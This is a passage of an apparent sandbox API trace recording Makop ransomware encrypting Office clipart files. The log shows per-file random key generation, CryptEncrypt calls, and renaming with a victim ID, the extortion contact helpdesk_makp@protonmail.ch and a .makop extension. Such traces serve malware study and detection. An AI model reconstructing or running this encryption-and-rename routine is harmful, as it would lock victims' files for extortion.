(in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.106] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.106] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.106] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.106] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.106] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.106] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.106] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x194a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x194a, lpOverlapped=0x0) returned 1 [0139.108] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1950, dwBufLen=0x1950 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1950) returned 1 [0139.108] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.108] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1950, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1950, lpOverlapped=0x0) returned 1 [0139.108] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.108] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.108] SetEndOfFile (hFile=0xf0) returned 1 [0139.114] GetProcessHeap () returned 0x48a0000 [0139.114] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.115] GetProcessHeap () returned 0x48a0000 [0139.115] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.115] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.115] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.117] CloseHandle (hObject=0xf0) returned 1 [0139.117] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af1d100, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4af1d100, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x38c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00396_.WMF", cAlternateFileName="")) returned 1 [0139.117] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF") returned 63 [0139.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.119] GetProcessHeap () returned 0x48a0000 [0139.119] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.119] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.119] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.119] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0139.123] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.123] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.124] GetProcessHeap () returned 0x48a0000 [0139.124] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.124] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.124] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.124] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.124] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.124] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.124] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.125] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.125] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.125] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.125] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x38c6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x38c6, lpOverlapped=0x0) returned 1 [0139.127] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x38d0, dwBufLen=0x38d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x38d0) returned 1 [0139.127] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.127] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x38d0, lpOverlapped=0x0) returned 1 [0139.128] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.128] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x39a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.128] SetEndOfFile (hFile=0xf0) returned 1 [0139.135] GetProcessHeap () returned 0x48a0000 [0139.135] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.136] GetProcessHeap () returned 0x48a0000 [0139.136] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.136] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.139] CloseHandle (hObject=0xf0) returned 1 [0139.139] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239b0400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x239b0400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x173e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00417_.WMF", cAlternateFileName="")) returned 1 [0139.139] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF") returned 63 [0139.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.140] GetProcessHeap () returned 0x48a0000 [0139.140] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.140] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.140] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.140] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0139.144] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.145] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.145] GetProcessHeap () returned 0x48a0000 [0139.145] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.145] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.145] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.145] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.145] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.145] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.145] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.146] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.146] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.146] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.146] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.146] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.146] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x173e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x173e, lpOverlapped=0x0) returned 1 [0139.148] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1740, dwBufLen=0x1740 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1740) returned 1 [0139.148] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.148] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1740, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1740, lpOverlapped=0x0) returned 1 [0139.148] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.148] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.148] SetEndOfFile (hFile=0xf0) returned 1 [0139.155] GetProcessHeap () returned 0x48a0000 [0139.155] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.155] GetProcessHeap () returned 0x48a0000 [0139.155] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.155] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.156] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.157] CloseHandle (hObject=0xf0) returned 1 [0139.157] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x313b9400, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x313b9400, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x4696, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00433_.WMF", cAlternateFileName="")) returned 1 [0139.158] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF") returned 63 [0139.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.159] GetProcessHeap () returned 0x48a0000 [0139.159] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.159] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.159] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.159] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0139.163] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.163] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.163] GetProcessHeap () returned 0x48a0000 [0139.163] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.163] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.163] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.163] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.164] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.164] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.164] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.164] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.165] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.165] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.165] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.165] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.165] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4696, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4696, lpOverlapped=0x0) returned 1 [0139.167] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x46a0, dwBufLen=0x46a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x46a0) returned 1 [0139.167] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.167] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x46a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x46a0, lpOverlapped=0x0) returned 1 [0139.167] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.167] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.168] SetEndOfFile (hFile=0xf0) returned 1 [0139.173] GetProcessHeap () returned 0x48a0000 [0139.173] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.174] GetProcessHeap () returned 0x48a0000 [0139.174] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.174] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.174] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.175] CloseHandle (hObject=0xf0) returned 1 [0139.175] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea9aa00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdea9aa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x2f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00438_.WMF", cAlternateFileName="")) returned 1 [0139.176] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF") returned 63 [0139.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.178] GetProcessHeap () returned 0x48a0000 [0139.178] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.178] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.178] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.178] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.197] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.197] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.197] GetProcessHeap () returned 0x48a0000 [0139.197] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.197] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, 